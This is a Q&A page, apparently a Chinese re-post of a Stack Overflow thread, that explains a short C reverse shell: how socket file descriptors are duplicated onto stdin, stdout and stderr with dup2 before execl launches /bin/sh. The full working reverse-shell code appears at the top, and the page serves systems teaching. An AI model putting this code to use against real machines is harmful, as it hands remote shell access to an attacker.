我遇到了這個用 c 撰寫的反向 shell 代碼。
main(){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));
dup2(sock, STDIN_FILENO);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
execl("/bin/sh", NULL);
}
我想了解它,所以我了解了檔案描述符,因為使用了 dup2。現在的問題是我不明白為什么。
套接字的手冊頁讓我假設,stdin、stdout 和 stderr 正在被套接字替換。
[...] 成功呼叫回傳的檔案描述符將是該行程當前未打開的最小編號的檔案描述符。
這個假設是真的嗎?如果是,您為什么要重置默認流?是否因為該執行緒暗示的以下 execl("/bin/sh", NULL) 行?
uj5u.com熱心網友回復:
檔案描述符
每個檔案、套接字、管道等...在您的行程中由一個稱為檔案描述符的數字唯一標識。
如果您創建一個新的檔案描述符,您將獲得行程中最低的未使用檔案描述符編號,從 0 開始。
每個檔案的前 3 個檔案描述符都有特殊作用:
| FD | C 常數 |
|---|---|
| 0 | 標準輸入檔案編號 |
| 1 | 標準輸出_檔案編號 |
| 2 | STDERR_FILENO |
如果您愿意,您可以隨時通過查詢來查看檔案描述符(以及它們所指的內容)/proc,例如:
ls -l /proc/<pid of your process>/fd
execve 及其朋友
execve用引數指定的新行程替換當前行程。
您的行程打開的所有檔案描述符都將保持打開狀態1,新行程可以使用它們。
1 除了標記為 close-on-exec
你的程式做什么
在您的程式啟動后,您的檔案描述符可能如下所示:
0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
(只是普通的stdin、stdout、stderr,連接到普通終端)
之后你分配一個套接字:
int sock = socket(AF_INET, SOCK_STREAM, 0);
0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]
然后你連接插座并進入dup2。
dup2克隆一個檔案描述符,并且 - 與 - 不同的是dup- 為其分配一個特定的檔案描述符編號(如果該 fd 已在使用中,它將首先關閉)
所以在dup2(sock, STDIN_FILENO);你的 fd 看起來像這樣之后:
0 -> [socket:12345]
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]
所以在execlfd之前:
0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]
然后你的行程執行到/bin/sh,用一個 shell 替換當前行程。
So now you have a shell with its input and output hooked up to the socket you created, effectively allowing the program on the other end of the socket to send arbitrary shell commands which will be executed by /bin/sh and the output returned via the socket.
As @JonathanLeffler has pointed out in the comments, the fd 3 could be closed before the exec, because it's not needed.
Why not use dup instead of dup2?
Using dup, like you quoted, will give you the lowest available fd that's available in your process.
So it would be possible to do the following:
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup(sock);
dup(sock);
dup(sock);
The closes would close fd 0-2:
3 -> [socket:12345]
and the dup would duplicate fd 3 to 0-2 (you always get the lowest available number, even if those would be stdin, stdout or stderr)
0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]
However, this could potentially go wrong if you have other threads that are creating fd's (e.g. another thread might just be creating a new fd after you closed stdin, so it gets fd 0, and your dup() later would get 4).
So that's what dup2() is about: precisely assigning a specific fd (in this case stdin, stdout, stderr).
The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. In other words, the file descriptor newfd is adjusted so that it now refers to the same open file description as oldfd.
There's also dup3, which in addition to what dup2 can do additionally allows you to specify flags, e.g. O_CLOEXEC, that would automatically close the fd when execing.
轉載請註明出處,本文鏈接:https://www.uj5u.com/gongcheng/337790.html
上一篇:無法在單個圖形中繪制多條線
下一篇:TCPSteam包組合多個包
